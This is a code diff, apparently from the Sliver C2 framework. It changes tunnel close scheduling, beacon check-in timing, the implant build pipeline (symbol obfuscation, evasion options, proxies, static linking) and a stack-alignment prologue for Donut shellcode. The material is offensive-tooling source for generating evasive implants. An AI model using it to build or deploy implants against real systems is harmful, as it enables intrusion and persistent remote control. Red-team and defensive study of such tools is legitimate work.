// This is _necessary_ since we processing messages asynchronously
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
// (this is what happends for socks and portfwd)
// There is no another way around it, if we want to stick to async processing as we do now.
// All additional changes requires changes on implants(like sequencing for close messages),
// and as there is a goal to keep compatability we don't do that at the moment.
// So there is trade off - more stability or more speed. Or rewriting implant logic.
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
func (t *tunnels) ScheduleClose(tunnelID uint64) {
tunnel := t.Get(tunnelID)
if tunnel == nil {
return
}
timeDelta := time.Now().Sub(tunnel.GetLastMessageTime())
coreLog.Printf("Scheduled close for channel %d (delta: %v)", tunnelID, timeDelta)
if timeDelta >= delayBeforeClose {
coreLog.Printf("Closing channel %d", tunnelID)
t.Close(tunnelID)
} else {
// Reschedule
coreLog.Printf("Rescheduling closing channel %d", tunnelID)
time.Sleep(delayBeforeClose - timeDelta + time.Second)
go t.ScheduleClose(tunnelID)
}
}
// Close - closing tunnel
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
func (t *tunnels) Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
@@ -111,6 +188,7 @@ func (t *tunnels) Close(tunnelID uint64) error {
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
return t.tunnels[tunnelID]
}
+1 -1
View File
@@ -322,7 +322,7 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
ID: uuid.FromStringOrNil(beaconID),
}).Updates(models.Beacon{
LastCheckin: time.Now(),
NextCheckin: next,
NextCheckin: time.Now().Unix() + next,
}).Error
return err
}
+26 -6
View File
@@ -150,6 +150,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
cfg.Debug = pbConfig.Debug
cfg.Evasion = pbConfig.Evasion
cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
cfg.ConnectionStrategy = pbConfig.ConnectionStrategy
cfg.WGImplantPrivKey = pbConfig.WGImplantPrivKey
cfg.WGServerPubKey = pbConfig.WGServerPubKey
@@ -267,6 +268,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
GOROOT: gogo.GetGoRootDir(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goPrivate(config),
@@ -340,6 +342,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
GOROOT: gogo.GetGoRootDir(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goPrivate(config),
@@ -349,7 +352,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
return "", err
}
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
if goConfig.GOOS == WINDOWS {
dest += ".dll"
}
@@ -365,6 +368,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
if !config.Debug && goConfig.GOOS == WINDOWS {
ldflags[0] += " -H=windowsgui"
}
// Statically link Linux .so files to avoid glibc hell
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
ldflags[0] += " -linkmode external -extldflags \"-static\""
}
// Keep those for potential later use
gcflags := ""
asmflags := ""
@@ -374,7 +381,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
if err != nil {
return "", err
}
config.FileName = path.Base(dest)
config.FileName = filepath.Base(dest)
err = ImplantBuildSave(name, config, dest)
if err != nil {
@@ -401,6 +408,7 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
GOMODCACHE: gogo.GetGoModCache(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goPrivate(config),
@@ -669,14 +677,18 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
// Get Defaults
if targetGoarch == "amd64" {
cc = os.Getenv(SliverCC64EnvVar)
if os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS)) != "" {
cc = os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS))
}
cxx = os.Getenv(SliverCXX64EnvVar)
if cc == "" {
cc = os.Getenv(SliverCC64EnvVar)
}
if os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS)) != "" {
cc = os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS))
}
if cxx == "" {
cxx = os.Getenv(SliverCXX64EnvVar)
}
}
if targetGoarch == "386" {
cc = os.Getenv(SliverCC32EnvVar)
@@ -713,11 +725,9 @@ func findCrossCompilers(targetGoos string, targetGoarch string) (string, string)
// Check to see if CC and CXX exist
if _, err := os.Stat(cc); os.IsNotExist(err) {
buildLog.Warnf("CC path '%s' does not exist", cc)
cc = "" // Path does not exist
}
if _, err := os.Stat(cxx); os.IsNotExist(err) {
buildLog.Warnf("CXX path '%s' does not exist", cxx)
cxx = "" // Path does not exist
}
buildLog.Debugf(" CC = '%s'", cc)
buildLog.Debugf("CXX = '%s'", cxx)
@@ -872,6 +882,16 @@ func getGoHttpProxy() string {
return ""
}
func getGoHttpsProxy() string {
value, present := os.LookupEnv("HTTPS_PROXY")
if present {
buildLog.Debugf("Using HTTPS_PROXY from env: %s", value)
return value
}
buildLog.Debugf("No HTTPS_PROXY found")
return ""
}
const (
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
+6
View File
@@ -78,6 +78,12 @@ func getDonut(data []byte, config *donut.DonutConfig) (shellcode []byte, err err
return
}
shellcode = res.Bytes()
stackCheckPrologue := []byte{
// Check stack is 8 byte but not 16 byte aligned or else errors in LoadLibrary
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
shellcode = append(stackCheckPrologue, shellcode...)
return
}
Loaded 100 of 119 files, more files were not shown because too many files have changed in this diff. Show more